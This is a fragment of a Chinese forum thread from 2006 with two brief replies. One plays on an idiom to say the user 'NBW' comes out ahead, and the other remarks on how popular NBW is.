能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
modi 2006-8-5 23:44
24
0
螳螂捕蝉,NBW在后...
雪    币: 4
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
Dion_love 2006-8-6 16:43
25
0
NBW人气这么旺
游客
登录 | 注册 方可回帖
返回